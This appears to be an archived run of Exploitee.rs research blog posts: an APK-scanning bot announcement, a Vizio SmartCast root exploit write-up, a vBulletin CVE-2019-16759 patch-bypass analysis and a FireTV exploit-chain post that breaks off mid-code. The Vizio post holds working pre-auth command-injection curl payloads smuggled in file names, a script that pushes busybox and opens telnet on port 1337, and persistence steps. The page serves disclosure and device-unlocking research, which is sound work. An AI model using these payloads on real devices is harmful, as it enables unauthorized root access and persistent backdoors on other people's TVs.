Posted: April 3rd, 2021 | Author:zenofex | Filed under:Uncategorized | Tags:ORP | Comments Off on ORP – The Open Research Project
We created the Exploitee.rs (formerly GTVHacker) over 10 years ago as a research group with the sole purpose of unlocking embedded devices for the public good. At that time, we were targeting GoogleTV devices but after the death of the platform, we migrated our research into general embedded devices. While each target provided a unique attack surface, we’ve historically relied on custom built tools that we’ve created to assist us in our research. These tools included items such as disassembler plugins which provided insight into interesting places within binaries to analyze or fuzzing harnesses which allowed for continuous background testing while performing our own manual analysis. While these tools have allowed us to focus our time on other areas, as each of us have evolved as researchers, we’ve embraced automation and added more to our internal tooling. This methodology has unfortunately provided more data output than we’ve been able to analyze and in some cases, we believe it has prevented vulnerabilities from being disclosed as quickly as could have been possible otherwise. While we’ve also looked at open sourcing our tooling, we prefer to keep the code private as we consider it valuable to our own future research.
Therefore, today we would like to introduce you to what we’ve been internally calling The Exploiteer’s Open Research Project (ORP). ORP will consist of a number of chat bots conducting automated research on different items including fuzzing open source projects, auditing APKs, and performing IOT firmware analysis. These bots would then output all results to our Discord chat server for analysis by the Exploitee.rs security community within designated channels. The project will start with the addition of our APK scanning bot which enumerates a list of top APKs within the Google Play store, then proceeds to search the APK and associated libraries for leaked credentials, databases, and private keys. After each round of APK downloading and analysis, the bot will restart allowing for constant testing of the newest top android mobile apps. We plan to evolve this bot to perform a deeper analysis of the APKs at a later point but will use the bots current output as a proof of concept for the general idea of crowdsourcing security analysis.
Example finding from ORP APK bot
We encourage researchers to comb through the results of the data and privately disclose the findings to the APK creators and while we appreciate credit, the goal of the project is to provide a safer environment for users by providing a form of independent checking of the mobile application ecosystem. We’re also hoping to improve the ORP projects output by collaborating with other researchers, so if you have an idea for an improvement or suggestion, please don’t hesitate to let us know.
If you’re interested in ORP, learning from other researchers, or Exploitee.rs in general, come chat with us on our Discord chat server. We have a great community, we’re friendly and most of us don’t bite.
As an Exploiteer, we are no strangers to Smart TV’s, having exploited televisions from Sony and Samsung, to LG and Vizio. That, combined with being trapped inside, there isn’t a whole lot to do but watch TV, play games, patiently wait for the pandemic to end, andhack our previously purchased IoT. As the original Exploitee.rs team was formed just a bit over 10 years ago now, what a way to celebrate than with the release of a pre-authentication bug on a TV?
Please note this post goes into detail regarding a remote code execution mechanism in a component of software common to different model TV’s, which differ in both software stack and CPU/SOC, but just happen to feature a common vulnerability.
SmartCast OS
Vizio TV and “SmartCast OS”
Vizio’s latest foray has been through its use of its “SmartCast OS”, which leverages the “Google Cast”/Chromecast ecosystem by utilizing Chromium (the OSS version of the Chrome browser) along with an HTML and JavaScript driven interface. In fact, nearly every application on the device (Disney+, Hulu, YouTube, etc.) is a webpage launched within Chromium. This provides some safety in that by sandboxing the environment within a browser certain attacks can be avoided. However, the addition of vendor needed (and possibly insecure) APIs can quickly create an insecure environment. Below we’ll highlight the use and exploitation of one such API.
Vulnerability Discovery
First off, we started our analysis with a simple basic network scan.
Please ignore port 22 and 5555, as those have been opened after the fact.
nmap, as great as it is, has a simple “curse” in that only 1000 default ports are scanned. Lets try that scan again with the full port range.
Note: we’ve added the argument -p1-65535 to the scan
This time around we see a few extra ports, specifically 7345, 8005, 50403.
nmap also has the useful “-A” argument
-A: Enable OS detection, version detection, script scanning, and traceroute
Re-running our nmap scan with “-A” will get us a simple fingerprinting of services running on these ports.
We can see in the above image that port 7345 is running a web server with an SSL port open.
HTTPS, no page found… getting closer
We open the address and port in our browser and note that we’ve received a valid HTTPS response from the webserver (albeit a 404). Enumerating further by leveraging a different vulnerability (to be released later), and with a little luck we find the TVs /scpl/ interface.
The above is interesting as the webserver has a diagnostics interface and more than likely is serving other web services.
Exploiting a SmartCast Webservice
As noted earlier on, we did have a more hands on exploit for this system (which will be released in time / once this is patched), which we leveraged to dump the entire filesystem of the TV. As a result, we had files and binaries that we could leverage to explore.
Digging inside of the “scpl” directory, leveraging the earlier knowledge of the filesystem (retrieved from a firmware dump) with a cursory run of strings on files led us to the “/install” endpoint, from this “SCPL Sideload” html file.
templates/install.html
We then proceed by making a test request with curl to /install on the actual TV set.
The above request produces the interesting output “INCORRECT FILE”, we use the html file above to recreate the file upload request, leveraging “scpl_tgz_package” as a variable name, we get this informative output.
curl -F scpl_tgz_package=@./'file' "https://10.0.0.106:7345/install" -k<html><body>SCPL Install Package: file <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/file -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: exec gunzip: No such file or directory
tar: read error
<br><br><br>Failure with installation, see logs</body></html>
Based on the above output, it appears that the service is running a command on the device based off the input of “scpl_tgz_package” (the name of the file), which we control! Trying it with a simple command injection:
curl -F scpl_tgz_package=@./'test`id`.tgz' "https://10.0.0.106:7345/install" -k
<html><body>SCPL Install Package: test`id`.tgz <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/test`id`.tgz -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: /data/tv/tmp/testuid=0(root): No such file or directory
<br><br><br>Failure with installation, see logs</body></html>
Executing the command above, our filename is getting parsed and executed, resulting in “uid=0(root)” as part of the file name in the response. We have command injection!
SmartCast Exploit RCA
Once getting on the system and extracting the firmware, we can start digging around to see how this all works. We locate a lighttpd config for a service on 7345.
The relevant snippet of the config can be found below
Now this gets a bit more interesting. The script “scpl.sh” executes the “manage” binary. The “manage” binary is a 18MB file, which appears to be a pyinstall-like created ELF. This binary has a bunch of packed .pyc files in its data section, and a python interperter. Having never encountered this type of format before, we fired up a hex editor to investigate further.
Down the rabbit hole:
These strings look familiar and we’ve seen some of them in previous tests. We seem to be getting close to the true root cause of the vulnerability.
Extracting the .pyc files took a tad more effort in that around that block of code above are ascii “<module>” strings. Extracting these out, and flagging for Python 2.7 bytecode allowed uncompyle6 to do it’s work.
We can now dig into the actual functions in question. Because we know that the request, which triggered our code execution vulnerability, was a post request. We start with the post handler
In the code above, if there is a “scpl_tgz_package” posted value, it sets the “_file” variable to it. Following the variable assignment, the handler proceeds to take the “_file” value and appends it to a path stored within “_file_and_path”. Then, in the last few lines, the handler passes the input from _file, to “_file_and_path” to “_run_cmd” for use in a tarball extraction operation.
We then locate the “_run_ command” definition to check for any embedded filtering.
The above utilizes the subprocess library’s check_output function to execute a command. Since this was running as a root user, with no privilege separation, we end with full root access.
Note: There are a few other interesting things to point out with the above code, in that another avenue of exploitation could be leveraged with a malicious install.sh file vs command injection in the filename.
Exploit PoC(s)
This is a pre-auth remote exploit for a large portion of the Vizio SmartCast TV’s, allowing for (persistent) root code execution.
Notes / Caveats:
This can currently persist until there is an update, functionality needs to be added to prevent updates.
There are a few types of updates, OS updates (including kernel and most of the filesystem), UI updates – which include binaries, JSON config files, HTML pages, and app updates. Plus a few other update types (Chrome, AppleTV, etc).
This appears to be safe, and has been running without issue on our end for the last few weeks. There is always the chance that something can go wrong, so please use caution, and we shall not be held liable if something goes wrong.
Depending on the model of your TV, you may need to attempt the 2nd POC. The Exploit will still work, but the payload may need to be different. There MIGHT be a correlation between “high-end” (SX7 and the like) sets and “low-end” sets (MT588X). If the first one doesn’t work, try the second, then pop on our discord to let us know!
There is a breakdown on the vulnerability above, but the process can be summarized as a trivial command injection within a webserver’s POST request handler. For our example, my TV is at “10.0.0.106”, Replace that with the IPv4 address of your TV in all of the following examples.
There is a very easy way to use this, visit our page below on your network and enter your TV’s IPv4 address, and follow the instructions. It will use queries to automatically enable sshd on your TV. Or, utilize the curl command further below if you want to see whats going on.
The page linked above will perform a more error-resistant, interactive, method of enabling sshd. You will still need to manually ensure it persists, by following the instructions further below.
The Automagical Way
Or, the simple bash one-liner and then the ssh in way:
This was tested on the 2018 PQ65-F1, and works well and reliably. It should also work the same way on other models (ro.board.platform=sx7). However, for some models this may need to be tweaked as they may not have a sshd binary on the device.
Other Models. Same Exploit. Different Payload (MT588X)
For example, on the D32F-G1, the exploit works, but the payload needs to be different, as you may an error displayed such as:
RUNNING CMD: tar -xvzf /3rd_rw/sc-data/tmp/exploiteers`sshd`.tgz -C /3rd_rw/sc-data/tmp/scpl_install<br>CMD ERROR: /bin/sh: sshd: command not found
The exploit is still running as root, however the sshd daemon is not being started as it does not exist. I’d like to thank riptide_wave on our discord for testing this out, so we could deliver another working POC for a different board/model.
These sets (which can be identified by their ro.board.platform value of “MT5581VHBJ”) have the same vulnerability, but a different software stack, therefore, we need to tweak the payload. The payload below will push a “busybox” binary and script over. Then extract, run it, and launch the “telnetd” daemon.
#!/bin/sh
IP=10.0.0.106
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar'
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar'
echo "Pushing binaries..."
curl -F scpl_tgz_package=@./'exploiteers.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Extracting binaries..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Executing script..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Try telnet on port 1337"
Since there are a number of TV’s affected by this vulnerability, running differing software stacks, you may run into issues. If so, pop on our discord and we will do our best to help!
Persistence Modification
To make the payload persist, you need to make a few extra changes after connecting.
First pull the “run_console_onoff.sh” file locally.
#copy the run_console_onoff.sh script locally to edit
scp run_console_onoff.sh [email protected]:/system/bin/run_console_onoff.sh .
Now, edit the file. Note the line added in before the if of “start sshd” in the image below? Make the changes but watch your line endings! Then, save the file, remount the partition RW, and push the file back and reboot.
run_console_onoff.sh after modification
#remount the TV /system RW
ssh [email protected]
mount -o,remount rw /system
exit
scp run_console_onoff.sh [email protected]:/system/bin/
#reconnect to the TV
ssh [email protected]
#remount /system ro and reboot
mount -o,remount ro /system
reboot
Beyond The Root
We often find ourselves facing this question:
We have code execution on this device? Awesome. Now what can we do with it?
The answer is everything, and nothing. The keys are in the hands of the community to come up with something amazing, something killer, or just have another rooted device taking up space.
A few of my pain points and thoughts include:
Automatic Content Recognition (ACR) data – what data of mine is being sent and how can I prevent it?
Can I add new “apps” (webpages, mostly)
Can I play DOOM?
What the hell is Xumo, and Crackle, and why do I keep pressing this button? Why isn’t it Hulu, or some other app I prefer more?
Heard a rumor that these services pay per button press.
Xumo is an American over-the-top internet television service owned by telecommunications conglomerate Comcast.
…apparently (per wikipedia)
Lets tackle remote button remappings! There are two approaches to doing it, one is leveraging the UI updates, and modifying a JSON file. The other is modifying the actual IR key mapping.
IR Keymapping
Doing IR keymapping is fairly straight forward, ssh in and grab this file via scp:
Then, open it in your favorite editor, and find the key you want to modify, and change it! Alter the “UI” value. Peeking through the file, they’ve mapped other keys too. Hulu is 0x100090
Xumo Before
Xumo is now Hulu
Save the file, remount your system partition RW (as shown above), SCP it back, and reboot the TV via SSH
The JSON update method of remapping is actually a bit cleaner, as we can really change where we want things to redirect to and increase our version number so it isn’t quickly overwritten.
We use the same process here as above. We are going to grab a file from the TV, edit it, and push it back.
This file could use a lot of exploration. Giving it a quick pass through jq makes it much easier to read:
cat sc-config.json | jq . > sc-config-mod.json
The file is interesting for multiple reasons, there are links to encrypted firmware blobs, AWS secret keys, these HtmlAppURI’s for streaming video… but lets focus on changing a button… this time Crackle.
You can even modify the VirtualInputs (accessible by pressing the input key) to add / change an app. Here, we removed WatchFree and replaced it with Hulu. Note the AppID of 3 that relates back to the URL above, indexed at 3.
It is as simple as swapping a few IR codes around (which, are different… for some reason).
Crackle URL and IR CodeHulu URL and IR Code
The simplest way to do it – just swap the IR codes. Hulu is now 0xF8, Crackle is now 0xF9, scp it back and reboot the tv.
There may be plenty of other things to do with this and other sets – and if you have ideas or additions, please share here, on our wiki, or on our discord!
Appendix: Python Code
# uncompyle6 version 3.7.4
from rest_framework.renderers import StaticHTMLRenderer
from rest_framework.views import APIView
from rest_framework.response import Response
from REST.utils import SystemPath
from django.conf import settings
import os, subprocess, logging
logger = logging.getLogger(__name__)
class install(APIView):
renderer_classes = (
StaticHTMLRenderer,)
def is_tv_in_device_group(self):
from REST.resources import Global
_storedScDevice = Global.storageManager.getProperty('__scGroup')
if not _storedScDevice and settings.PROXY_TEST is False:
return False
return True
def get(self, request, property=None):
_content = '<html><head>{style}</head><body>{content}</body></html>'
_style = '<style> body {font-family: Arial, Helvetica, sans-serif; } #customers { border-collapse: collapse; width: 30%;} #customers td, #customers th {border: 1px solid #ddd; padding: 8px;} #customers tr:nth-child(even){background-color: #f2f2f2;} #customers tr:hover {background-color: #ddd;} #customers th {padding-top: 12px; padding-bottom: 12px; text-align: center; background-color: #e4f2c1; color: black;} span.warning {border: 2px solid orange; } span.error {border: 2px solid red; } </style>'
if not self.is_tv_in_device_group():
_content = _content.format(style=_style, content='TV must be in a device group')
return Response(_content)
_body = '<table style="float: left" id=customers><thead><tr><th colspan=2>VIZIO - SCPL Side Load Installation</th></tr></thead><tbody><form action="/install" method="post" enctype="multipart/form-data" name="install" id="install"><tr><td>Package (.tgz)</td><td><input type="file" name="scpl_tgz_package" id="scpl_tgz_package"></td></tr><tr><td> </td><td><input type="submit" name="Install" value="Install"></td></tr></form></tbody></table>'
_content = _content.format(style=_style, content=_body)
return Response(_content)
def post(self, request, property=None):
logger.info('POST')
if request.FILES.get('scpl_tgz_package', None):
_file = request.FILES.get('scpl_tgz_package')
_output = ''
logger.info('SCPL Install Package: %s', _file)
_output += 'SCPL Install Package: %s <br>' % _file
try:
_response = ''
_file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
_extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
_install_script = _extract_location + '/install.sh'
self.handle_uploaded_file(_file, _file_and_path)
_cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
_continue, _log = self._run_cmd(_cmd)
_output += _log
if not _continue:
raise Exception('Failure with installation, see logs')
_cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
_continue, _log = self._run_cmd(_cmd)
_output += _log
if not _continue:
raise Exception('Failure with installation, see logs')
_cmd = ('sh {install_script} {filename}').format(install_script=_install_script, filename=_file_and_path)
_continue, _log = self._run_cmd(_cmd)
_output += _log
if not _continue:
raise Exception('Failure with installation, see logs')
_output += '<br><b>SOFT POWER CYCLE TV</b><br>'
return Response(('<html><body>{content}</body></html>').format(content=_output))
except Exception as e:
logger.info('ERROR: %s', str(e))
_output += '<br><br>' + str(e)
return Response(('<html><body>{content}</body></html>').format(content=_output))
else:
logger.info('INCORRECT FILE')
return Response('<html><body>INCORRECT FILE</body></html>')
return
def _run_cmd(self, cmd):
logger.info('RUNNING CMD: %s', cmd)
_output = 'RUNNING CMD: %s<br>' % cmd
try:
_output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
_output = _output.replace('\n', '<br>')
_output += '<br>'
logger.info('CMD OUTPUT: %s', _output)
except subprocess.CalledProcessError as exc:
logger.info('CMD ERROR: %s' % exc.output)
_output += 'CMD ERROR: %s<br>' % exc.output
return (False, _output)
return (True, _output)
def handle_uploaded_file(self, f, fileto):
logger.info('HANDLE UPLOADED FILE: %s', fileto)
with open(fileto, 'wb+') as (destination):
for chunk in f.chunks():
destination.write(chunk)
Today, we’re going to talk about how the patch that was supplied for the vulnerability was inadequate in blocking exploitation, show how to bypass the resulting fix, and releasing a bash one-liner resulting in remote code execution in the latest vBulletin software.
CVE-2019-16759
The vulnerability mentioned above was later formally labeled “CVE-2019-16759” and a patch was issued on September 25, 2019. Although the patch was provided in just under 3 days, the patch seemed, at the time, to fix the proof of concept exploit provided by the un-named finder.
The patch(s) consisted of three main changes provided in 2 sets of patches, the first being shown below.
/**
* Remove any problematic values from the template
* variable arrays before rendering
*///for now don't pass the values through. These arrays are potentially large//and we don't want to make unnecesary copies. The alternative is to pass by//reference which causes it's own headaches. It's an internal function and the//relevant arrays are all class variables.privatefunction cleanRegistered(){$disallowedNames=array('widgetConfig');foreach($disallowedNamesAS$name){unset($this->registered[$name]);unset(self::$globalRegistered[$name]);}}
/**
* Remove any problematic values from the template
* variable arrays before rendering
*/
//for now don't pass the values through. These arrays are potentially large
//and we don't want to make unnecesary copies. The alternative is to pass by
//reference which causes it's own headaches. It's an internal function and the
//relevant arrays are all class variables.
private function cleanRegistered()
{
$disallowedNames = array('widgetConfig');
foreach($disallowedNames AS $name)
{
unset($this->registered[$name]);
unset(self::$globalRegistered[$name]);
}
}
The above function was added but unfortunately had to be obtained from the code as opposed to directly from a diff between the two coded bases. This is because vBulletin doesn’t provide the older insecure versions of their software after a patch is released. Therefore, the above code was pulled directly from 5.5.4 Patch Level 2.
The above “cleanRegistered” function was added as the first fix to the vulnerability and simply iterates through a list of non-allowed “registered variables”, deleting their contents when found. This list when added only contained the name of the single variable which contained the php code to execute in the released exploit.
In the next version of the software (vBulletin 5.5.5), the following pieces were added to further prevent future problems with the widget_rendering template code.
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php 2020-08-0806:40:31.356918994-0500+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php 2020-08-0806:40:40.577517014-0500@@-286,20+286,32@@thrownew vB5_Exception_Api('ajax','render',array(),'invalid_request');}-$this->router=new vB5_Frontend_Routing();-$this->router->setRouteInfo(array(-'action'=>'actionRender',-'arguments'=>$serverData,-'template'=>$routeInfo[2],-// this use of $_GET appears to be fine,-// since it's setting the route query params-// not sending the data to the template-// render-'queryParameters'=>$_GET,-));- Api_InterfaceAbstract::setLight();+$templateName=$routeInfo[2];+if($templateName=='widget_php')+{+$result=array(+'template'=>'',+'css_links'=>array(),+);+}+else+{+$this->router=new vB5_Frontend_Routing();+$this->router->setRouteInfo(array(+'action'=>'actionRender',+'arguments'=>$serverData,+'template'=>$templateName,+// this use of $_GET appears to be fine,+// since it's setting the route query params+// not sending the data to the template+// render+'queryParameters'=>$_GET,+));+ Api_InterfaceAbstract::setLight();+$result= vB5_Template::staticRenderAjax($templateName,$serverData);+}-$this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2],$serverData));+$this->sendAsJson($result);}/**
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php 2020-08-08 06:40:31.356918994 -0500
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php 2020-08-08 06:40:40.577517014 -0500
@@ -286,20 +286,32 @@
throw new vB5_Exception_Api('ajax', 'render', array(), 'invalid_request');
}
- $this->router = new vB5_Frontend_Routing();
- $this->router->setRouteInfo(array(
- 'action' => 'actionRender',
- 'arguments' => $serverData,
- 'template' => $routeInfo[2],
- // this use of $_GET appears to be fine,
- // since it's setting the route query params
- // not sending the data to the template
- // render
- 'queryParameters' => $_GET,
- ));
- Api_InterfaceAbstract::setLight();
+ $templateName = $routeInfo[2];
+ if ($templateName == 'widget_php')
+ {
+ $result = array(
+ 'template' => '',
+ 'css_links' => array(),
+ );
+ }
+ else
+ {
+ $this->router = new vB5_Frontend_Routing();
+ $this->router->setRouteInfo(array(
+ 'action' => 'actionRender',
+ 'arguments' => $serverData,
+ 'template' => $templateName,
+ // this use of $_GET appears to be fine,
+ // since it's setting the route query params
+ // not sending the data to the template
+ // render
+ 'queryParameters' => $_GET,
+ ));
+ Api_InterfaceAbstract::setLight();
+ $result = vB5_Template::staticRenderAjax($templateName, $serverData);
+ }
- $this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2], $serverData));
+ $this->sendAsJson($result);
}
/**
This portion of the patch created an if statement that would return empty template or css data if the ‘widget_php’ template was listed as the last portion of the route. These two changes prevented the PoC from functioning in its released state.
The third change can be found in the second part of the vBulletin 5.5.5 update diff.
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php 2020-08-08 06:40:31.276913797 -0500+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php 2020-08-08 06:40:40.493511575 -0500@@ -12,6 +12,26 @@
class vB5_Template_Runtime
{+ //This is intended to allow the runtime to know that template it is rendering.+ //It's ugly and shouldn't be used lightly, but making some features widely+ //available to all templates is uglier.+ private static $templates = array();++ public static function startTemplate($template)+ {+ array_push(self::$templates, $template);+ }++ public static function endTemplate()+ {+ array_pop(self::$templates);+ }++ private static function currentTemplate()+ {+ return end(self::$templates);+ }+
public static $units = array(
'%',
'px',
@@ -1944,6 +1964,21 @@
return '<div style="border:1px solid red;padding:10px;margin:10px;">' . htmlspecialchars($timerName) . ': ' . $elapsed . '</div>';
}}++ public static function evalPhp($code)+ {+ //only allow the PHP widget template to do this. This prevents a malicious user+ //from hacking something into a different template.+ if (self::currentTemplate() != 'widget_php')+ {+ return '';+ }+ ob_start();+ eval($code);+ $output = ob_get_contents();+ ob_end_clean();+ return $output;+ }}
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php 2020-08-08 06:40:31.276913797 -0500
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php 2020-08-08 06:40:40.493511575 -0500
@@ -12,6 +12,26 @@
class vB5_Template_Runtime
{
+ //This is intended to allow the runtime to know that template it is rendering.
+ //It's ugly and shouldn't be used lightly, but making some features widely
+ //available to all templates is uglier.
+ private static $templates = array();
+
+ public static function startTemplate($template)
+ {
+ array_push(self::$templates, $template);
+ }
+
+ public static function endTemplate()
+ {
+ array_pop(self::$templates);
+ }
+
+ private static function currentTemplate()
+ {
+ return end(self::$templates);
+ }
+
public static $units = array(
'%',
'px',
@@ -1944,6 +1964,21 @@
return '<div style="border:1px solid red;padding:10px;margin:10px;">' . htmlspecialchars($timerName) . ': ' . $elapsed . '</div>';
}
}
+
+ public static function evalPhp($code)
+ {
+ //only allow the PHP widget template to do this. This prevents a malicious user
+ //from hacking something into a different template.
+ if (self::currentTemplate() != 'widget_php')
+ {
+ return '';
+ }
+ ob_start();
+ eval($code);
+ $output = ob_get_contents();
+ ob_end_clean();
+ return $output;
+ }
}
This portion was added as a layer of redundancy to attempt to prevent any non ‘widget_php’ template from loading the eval code. Based on the comment in the code, this is an attempt to prevent a user from modifying a template to incorrectly call the ‘evalPhp’ without doing so from an embedded php widget.
Problems Ahead
The problem with the above arises because of how the vBulletin template system is structured. Specifically, templates aren’t actually written in PHP but instead are written in a language that is first processed by the template engine and then is output as a string of PHP code that is later ran through an eval() during the “rendering” process. Templates are also not a standalone item but can be nested within other templates, in that one template can have a number of child templates embedded within. For example, take the following template.
Then after being rendered, when the code is later pushed through the eval process, the other portion of its child templates are loaded and also ran through eval.
This type of system may seem innocuous to the untrained eye but the approach opens up a number of issues beyond just the insecure uses of an eval calls.
Regardless, here are a few ways this can fail.
Any non-filtered modifications to the output variable will open up the code for another code execution.
Constant filtering required of all template code for situations which can create non-escaped PHP.
XSS filtering nightmares
Included child code will have access to parent declared variables.
I cannot think of many situations where this would be the optimal approach. However, to keep this analysis to the point, I’ll focus on the issues leading to a bypass.
Bypassing CVE-2019-16759
The patch code mentioned in one of the previous sections above may seem thorough, but the approach is actually somewhat short sighted. Specifically, the patch faces issues when encountering a user controlled child template in that a parent template will be checked to verify that the routestring does not end with a widget_php route. However we are still prevented from providing a payload within the widgetConfig value because of code within the rendering process, which cleans the widgetConfig value prior to the templates execution. This problem is remedied for us because of a lucky solution manifesting in the following template.
The template “widget_tabbedcontainer_tab_panel”, which is displayed above is a perfect assistant in bypassing the previous CVE-2019-16759 patch because of two key features.
The templates ability to load a user controlled child template.
The template loads the child template by taking a value from a separately named value and placing it into a variable named “widgetConfig”.
These two characteristics of the “widget_tabbedcontainer_tab_panel” template allow us to effectively bypass all filtering previously done to prevent CVE-2019-16759 from being exploited.
PoC
Because of the vulnerabilities simplicity, creating a one line command line exploit is as simple as the following.
This fix will disable PHP widgets within your forums and may break some functionality but will keep you safe from attacks until a patch is released by vBulletin.
Go to the vBulletin administrator control panel.
Click “Settings” in the menu on the left, then “Options” in the dropdown.
Choose “General Settings” and then click “Edit Settings”
Look for “Disable PHP, Static HTML, and Ad Module rendering”, Set to “Yes”
Hello and happy Halloween fellow Exploitee.rs. Today we’re excited to be bringing you something we’ve been working on for the last few months. Today, we’re introducing you to FireFU. FireFU is an exploit chain we’ve created to allow users to unlock (and root) their FireTV Cube and FireTV Pendant.
WARNING
Exploitee.rs would like to remind users that any flashing of unofficial firmware or usage of provided tools is done at your own risk and will likely void your device’s warranty.
DFU Mode
This exploit chain relies on two primitives, the first being a read/write primitive leveraged from the DFU mode accessible from the Amlogic S905Z SoC. DFU mode can be accessed on these devices by utilizing HDMI’s I2C bus and sending a specific string (“boot@USB”) to the device during boot. An adapter can be made which enters DFU by cutting open a HDMI cable or simply purchasing an HDMI header, then connecting to the appropriate I2C pins from the HDMI to the I2C pins on an Arduino or compatible board. We have provided an arduino “sketch” that can be compiled and loaded onto an arduino then used to perform the software side of entering DFU.
Upon accessing DFU mode, we are given access to read and write portions of the FireTV’s memory. Through this we target the hardware registers for the eMMC controller giving us the new primitive of being able to read and write to the device’s eMMC flash. However, due to both devices having secure boot enabled, we are unable to directly leverage the primitives we currently have to run unsigned code. We however did discover another vulnerability that we can use.
U-Boot Heap Overflow
In a secure boot environment, each portion of the boot process checks and sets up the following. From the SoC ROM all the way to the kernel and some cases even the kernel modules. In order to run unsigned code, a weakness needs to be found in some portion of the secure boots “chain of trust”. After a bit of research, we stumbled onto the perfect vulnerability we could leverage to break the chain. This vulnerability consisted of a heap overflow within U-Boot triggered when reading the RSV info within the devices partition table. This overflow can be seen in the code below.
436/* get ptbl from rsv area from emmc */437staticint get_ptbl_rsv(struct mmc *mmc, struct _iptbl *rsv)438{439struct ptbl_rsv * ptbl_rsv =NULL;440 uchar * buffer =NULL;441 ulong size, offset;442int checksum, version, ret =0;443struct virtual_partition *vpart = aml_get_virtual_partition_by_name(MMC_TABLE_NAME);444445 size =(sizeof(struct ptbl_rsv)+511)/512*512;446if(vpart->size < size){447 apt_err("too much partitons\n");448 ret =-1;449goto _out;450}451 buffer =malloc(size);452if(NULL== buffer){453 apt_err("no enough memory for ptbl rsv\n");454 ret =-2;455goto _out;456}457/* read it from emmc. */458 offset = _get_inherent_offset(MMC_RESERVED_NAME)+ vpart->offset;459if(size != _mmc_rsv_read(mmc, offset, size, buffer)){460 apt_err("read ptbl from rsv failed\n");461 ret =-3;462goto _out;463}464465 ptbl_rsv =(struct ptbl_rsv *) buffer;466 apt_info("magic %s, version %s, checksum %x\n", ptbl_rsv->magic,
467 ptbl_rsv->version, ptbl_rsv->checksum);468/* fixme, check magic ?*/469if(strcmp(ptbl_rsv->magic, MMC_PARTITIONS_MAGIC)){470 apt_err("magic faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);471 ret =-4;472goto _out;473}474/* check version*/475 version = _get_version(ptbl_rsv->version);476if(version <0){477 apt_err("version faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);478 ret =-5;479goto _out;480}481/* check sum */482 checksum = _calc_iptbl_check(ptbl_rsv->partitions, ptbl_rsv->count, version);483if(checksum != ptbl_rsv->checksum){484 apt_err("checksum faild 0x%x, 0x%x\n", ptbl_rsv->checksum, checksum);485 ret =-6;486goto _out;487}488489 rsv->count = ptbl_rsv->count;490memcpy(rsv->partitions, ptbl_rsv->partitions, rsv->count *sizeof(struct partitions));491492 _out:493if(buffer)494free(buffer);495return ret;496}
436 /* get ptbl from rsv area from emmc */
437 static int get_ptbl_rsv(struct mmc *mmc, struct _iptbl *rsv)
438 {
439 struct ptbl_rsv * ptbl_rsv = NULL;
440 uchar * buffer = NULL;
441 ulong size, offset;
442 int checksum, version, ret = 0;
443 struct virtual_partition *vpart = aml_get_virtual_partition_by_name(MMC_TABLE_NAME);
444
445 size = (sizeof(struct ptbl_rsv) + 511) / 512 * 512;
